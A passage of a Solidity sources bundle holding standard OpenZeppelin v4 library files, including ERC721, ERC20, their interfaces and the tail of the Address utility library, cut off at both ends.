data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC721.sol\";\n\n/**\n * @title ERC-721 Non-Fungible Token Standard, optional metadata extension\n * @dev See https://eips.ethereum.org/EIPS/eip-721\n */\ninterface IERC721Metadata is IERC721 {\n /**\n * @dev Returns the token collection name.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the token collection symbol.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.\n */\n function tokenURI(uint256 tokenId) external view returns (string memory);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721Receiver {\n /**\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n *\n * It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n *\n * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.\n */\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721 is IERC165 {\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in ``owner``'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Transfers `tokenId` token from `from` to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool _approved) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/ERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC721/ERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC721.sol\";\nimport \"./IERC721Receiver.sol\";\nimport \"./extensions/IERC721Metadata.sol\";\nimport \"../../utils/Address.sol\";\nimport \"../../utils/Context.sol\";\nimport \"../../utils/Strings.sol\";\nimport \"../../utils/introspection/ERC165.sol\";\n\n/**\n * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including\n * the Metadata extension, but not including the Enumerable extension, which is available separately as\n * {ERC721Enumerable}.\n */\ncontract ERC721 is Context, ERC165, IERC721, IERC721Metadata {\n using Address for address;\n using Strings for uint256;\n\n // Token name\n string private _name;\n\n // Token symbol\n string private _symbol;\n\n // Mapping from token ID to owner address\n mapping(uint256 => address) private _owners;\n\n // Mapping owner address to token count\n mapping(address => uint256) private _balances;\n\n // Mapping from token ID to approved address\n mapping(uint256 => address) private _tokenApprovals;\n\n // Mapping from owner to operator approvals\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n /**\n * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\n return\n interfaceId == type(IERC721).interfaceId ||\n interfaceId == type(IERC721Metadata).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev See {IERC721-balanceOf}.\n */\n function balanceOf(address owner) public view virtual override returns (uint256) {\n require(owner != address(0), \"ERC721: address zero is not a valid owner\");\n return _balances[owner];\n }\n\n /**\n * @dev See {IERC721-ownerOf}.\n */\n function ownerOf(uint256 tokenId) public view virtual override returns (address) {\n address owner = _owners[tokenId];\n require(owner != address(0), \"ERC721: invalid token ID\");\n return owner;\n }\n\n /**\n * @dev See {IERC721Metadata-name}.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev See {IERC721Metadata-symbol}.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev See {IERC721Metadata-tokenURI}.\n */\n function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {\n _requireMinted(tokenId);\n\n string memory baseURI = _baseURI();\n return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : \"\";\n }\n\n /**\n * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each\n * token will be the concatenation of the `baseURI` and the `tokenId`. Empty\n * by default, can be overridden in child contracts.\n */\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n /**\n * @dev See {IERC721-approve}.\n */\n function approve(address to, uint256 tokenId) public virtual override {\n address owner = ERC721.ownerOf(tokenId);\n require(to != owner, \"ERC721: approval to current owner\");\n\n require(\n _msgSender() == owner || isApprovedForAll(owner, _msgSender()),\n \"ERC721: approve caller is not token owner nor approved for all\"\n );\n\n _approve(to, tokenId);\n }\n\n /**\n * @dev See {IERC721-getApproved}.\n */\n function getApproved(uint256 tokenId) public view virtual override returns (address) {\n _requireMinted(tokenId);\n\n return _tokenApprovals[tokenId];\n }\n\n /**\n * @dev See {IERC721-setApprovalForAll}.\n */\n function setApprovalForAll(address operator, bool approved) public virtual override {\n _setApprovalForAll(_msgSender(), operator, approved);\n }\n\n /**\n * @dev See {IERC721-isApprovedForAll}.\n */\n function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n /**\n * @dev See {IERC721-transferFrom}.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n //solhint-disable-next-line max-line-length\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner nor approved\");\n\n _transfer(from, to, tokenId);\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public virtual override {\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner nor approved\");\n _safeTransfer(from, to, tokenId, data);\n }\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * `data` is additional data, it has no specified format and it is sent in call to `to`.\n *\n * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.\n * implement alternative mechanisms to perform token transfer, such as signature-based.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeTransfer(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _transfer(from, to, tokenId);\n require(_checkOnERC721Received(from, to, tokenId, data), \"ERC721: transfer to non ERC721Receiver implementer\");\n }\n\n /**\n * @dev Returns whether `tokenId` exists.\n *\n * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.\n *\n * Tokens start existing when they are minted (`_mint`),\n * and stop existing when they are burned (`_burn`).\n */\n function _exists(uint256 tokenId) internal view virtual returns (bool) {\n return _owners[tokenId] != address(0);\n }\n\n /**\n * @dev Returns whether `spender` is allowed to manage `tokenId`.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {\n address owner = ERC721.ownerOf(tokenId);\n return (spender == owner || isApprovedForAll(owner, spender) || getApproved(tokenId) == spender);\n }\n\n /**\n * @dev Safely mints `tokenId` and transfers it to `to`.\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeMint(address to, uint256 tokenId) internal virtual {\n _safeMint(to, tokenId, \"\");\n }\n\n /**\n * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is\n * forwarded in {IERC721Receiver-onERC721Received} to contract recipients.\n */\n function _safeMint(\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _mint(to, tokenId);\n require(\n _checkOnERC721Received(address(0), to, tokenId, data),\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n }\n\n /**\n * @dev Mints `tokenId` and transfers it to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - `to` cannot be the zero address.\n *\n * Emits a {Transfer} event.\n */\n function _mint(address to, uint256 tokenId) internal virtual {\n require(to != address(0), \"ERC721: mint to the zero address\");\n require(!_exists(tokenId), \"ERC721: token already minted\");\n\n _beforeTokenTransfer(address(0), to, tokenId);\n\n _balances[to] += 1;\n _owners[tokenId] = to;\n\n emit Transfer(address(0), to, tokenId);\n\n _afterTokenTransfer(address(0), to, tokenId);\n }\n\n /**\n * @dev Destroys `tokenId`.\n * The approval is cleared when the token is burned.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n *\n * Emits a {Transfer} event.\n */\n function _burn(uint256 tokenId) internal virtual {\n address owner = ERC721.ownerOf(tokenId);\n\n _beforeTokenTransfer(owner, address(0), tokenId);\n\n // Clear approvals\n _approve(address(0), tokenId);\n\n _balances[owner] -= 1;\n delete _owners[tokenId];\n\n emit Transfer(owner, address(0), tokenId);\n\n _afterTokenTransfer(owner, address(0), tokenId);\n }\n\n /**\n * @dev Transfers `tokenId` from `from` to `to`.\n * As opposed to {transferFrom}, this imposes no restrictions on msg.sender.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n *\n * Emits a {Transfer} event.\n */\n function _transfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {\n require(ERC721.ownerOf(tokenId) == from, \"ERC721: transfer from incorrect owner\");\n require(to != address(0), \"ERC721: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, tokenId);\n\n // Clear approvals from the previous owner\n _approve(address(0), tokenId);\n\n _balances[from] -= 1;\n _balances[to] += 1;\n _owners[tokenId] = to;\n\n emit Transfer(from, to, tokenId);\n\n _afterTokenTransfer(from, to, tokenId);\n }\n\n /**\n * @dev Approve `to` to operate on `tokenId`\n *\n * Emits an {Approval} event.\n */\n function _approve(address to, uint256 tokenId) internal virtual {\n _tokenApprovals[tokenId] = to;\n emit Approval(ERC721.ownerOf(tokenId), to, tokenId);\n }\n\n /**\n * @dev Approve `operator` to operate on all of `owner` tokens\n *\n * Emits an {ApprovalForAll} event.\n */\n function _setApprovalForAll(\n address owner,\n address operator,\n bool approved\n ) internal virtual {\n require(owner != operator, \"ERC721: approve to caller\");\n _operatorApprovals[owner][operator] = approved;\n emit ApprovalForAll(owner, operator, approved);\n }\n\n /**\n * @dev Reverts if the `tokenId` has not been minted yet.\n */\n function _requireMinted(uint256 tokenId) internal view virtual {\n require(_exists(tokenId), \"ERC721: invalid token ID\");\n }\n\n /**\n * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.\n * The call is not executed if the target address is not a contract.\n *\n * @param from address representing the previous owner of the given token ID\n * @param to target address that will receive the tokens\n * @param tokenId uint256 ID of the token to be transferred\n * @param data bytes optional data to send along with the call\n * @return bool whether the call correctly returned the expected magic value\n */\n function _checkOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) private returns (bool) {\n if (to.isContract()) {\n try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {\n return retval == IERC721Receiver.onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert(\"ERC721: transfer to non ERC721Receiver implementer\");\n } else {\n /// @solidity memory-safe-assembly\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n } else {\n return true;\n }\n }\n\n /**\n * @dev Hook that is called before any token transfer. This includes minting\n * and burning.\n *\n * Calling conditions:\n *\n * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be\n * transferred to `to`.\n * - When `from` is zero, `tokenId` will be minted for `to`.\n * - When `to` is zero, ``from``'s `tokenId` will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {}\n}\n"
},
"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\n\n/**\n * @dev Interface for the optional metadata functions from the ERC20 standard.\n *\n * _Available since v4.1._\n */\ninterface IERC20Metadata is IERC20 {\n /**\n * @dev Returns the name of the token.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the symbol of the token.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the decimals places of the token.\n */\n function decimals() external view returns (uint8);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/IERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `from` to `to` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/ERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC20.sol\";\nimport \"./extensions/IERC20Metadata.sol\";\nimport \"../../utils/Context.sol\";\n\n/**\n * @dev Implementation of the {IERC20} interface.\n *\n * This implementation is agnostic to the way tokens are created. This means\n * that a supply mechanism has to be added in a derived contract using {_mint}.\n * For a generic mechanism see {ERC20PresetMinterPauser}.\n *\n * TIP: For a detailed writeup see our guide\n * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How\n * to implement supply mechanisms].\n *\n * We have followed general OpenZeppelin Contracts guidelines: functions revert\n * instead returning `false` on failure. This behavior is nonetheless\n * conventional and does not conflict with the expectations of ERC20\n * applications.\n *\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\n * This allows applications to reconstruct the allowance for all accounts just\n * by listening to said events. Other implementations of the EIP may not emit\n * these events, as it isn't required by the specification.\n *\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\n * functions have been added to mitigate the well-known issues around setting\n * allowances. See {IERC20-approve}.\n */\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n /**\n * @dev Sets the values for {name} and {symbol}.\n *\n * The default value of {decimals} is 18. To select a different value for\n * {decimals} you should overload it.\n *\n * All two of these values are immutable: they can only be set once during\n * construction.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev Returns the name of the token.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev Returns the symbol of the token, usually a shorter version of the\n * name.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev Returns the number of decimals used to get its user representation.\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\n * be displayed to a user as `5.05` (`505 / 10 ** 2`).\n *\n * Tokens usually opt for a value of 18, imitating the relationship between\n * Ether and Wei. This is the value {ERC20} uses, unless this function is\n * overridden;\n *\n * NOTE: This information is only used for _display_ purposes: it in\n * no way affects any of the arithmetic of the contract, including\n * {IERC20-balanceOf} and {IERC20-transfer}.\n */\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n /**\n * @dev See {IERC20-totalSupply}.\n */\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n /**\n * @dev See {IERC20-balanceOf}.\n */\n function balanceOf(address account) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n /**\n * @dev See {IERC20-transfer}.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - the caller must have a balance of at least `amount`.\n */\n function transfer(address to, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-allowance}.\n */\n function allowance(address owner, address spender) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n /**\n * @dev See {IERC20-approve}.\n *\n * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on\n * `transferFrom`. This is semantically equivalent to an infinite approval.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-transferFrom}.\n *\n * Emits an {Approval} event indicating the updated allowance. This is not\n * required by the EIP. See the note at the beginning of {ERC20}.\n *\n * NOTE: Does not update the allowance if the current allowance\n * is the maximum `uint256`.\n *\n * Requirements:\n *\n * - `from` and `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n * - the caller must have allowance for ``from``'s tokens of at least\n * `amount`.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n /**\n * @dev Atomically increases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n /**\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `spender` must have allowance for the caller of at least\n * `subtractedValue`.\n */\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(currentAllowance >= subtractedValue, \"ERC20: decreased allowance below zero\");\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n /**\n * @dev Moves `amount` of tokens from `from` to `to`.\n *\n * This internal function is equivalent to {transfer}, and can be used to\n * e.g. implement automatic token fees, slashing mechanisms, etc.\n *\n * Emits a {Transfer} event.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n */\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(fromBalance >= amount, \"ERC20: transfer amount exceeds balance\");\n unchecked {\n _balances[from] = fromBalance - amount;\n }\n _balances[to] += amount;\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\n * the total supply.\n *\n * Emits a {Transfer} event with `from` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n /**\n * @dev Destroys `amount` tokens from `account`, reducing the\n * total supply.\n *\n * Emits a {Transfer} event with `to` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n * - `account` must have at least `amount` tokens.\n */\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\n 